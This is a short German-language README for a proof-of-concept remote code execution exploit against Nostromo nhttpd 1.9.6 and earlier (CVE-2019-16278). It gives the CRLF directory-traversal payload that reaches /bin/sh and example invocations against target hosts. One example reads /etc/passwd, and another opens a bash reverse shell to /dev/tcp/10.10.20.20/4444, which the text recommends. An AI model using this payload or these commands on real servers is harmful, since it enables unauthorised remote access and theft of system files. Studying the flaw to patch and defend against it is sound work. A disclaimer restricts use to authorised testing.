
PoC RCE-Exploit für Nostromo nhttpd ≤ 1.9.6
Schwachstelle zur Ausführung von Remote-Code in Nostromo nhttpd Versionen <= 1.9.6 durch Directory Traversal in der HTTP-Anfrageverarbeitung.
Dieser Exploit nutzt eine Directory-Traversal-Schwachstelle unter Verwendung von URL-kodierten CRLF-Zeichen (%0d), um auf /bin/sh zuzugreifen und beliebige Befehle auszuführen.
/.%0d./.%0d./.%0d./.%0d./bin/shecho\necho\n<command> 2>&1python3 cve-2019-16278.py <TARGET_IP> <PORT> <COMMAND>
python3 cve-2019-16278.py 192.168.1.100 80 "id"
python3 cve-2019-16278.py 10.10.10.10 8080 "cat /etc/passwd"
python3 cve-2019-16278.py target.com 80 "whoami"
python3 cve-2019-16278.py 10.10.10.10 80 "bash -c 'bash -i >& /dev/tcp/10.10.20.20/4444 0>&1'"
Reverse shell Recomended, sometimes this script show nothing
Dieses Werkzeug dient ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken. Unautorisierter Zugriff auf Computersysteme ist illegal.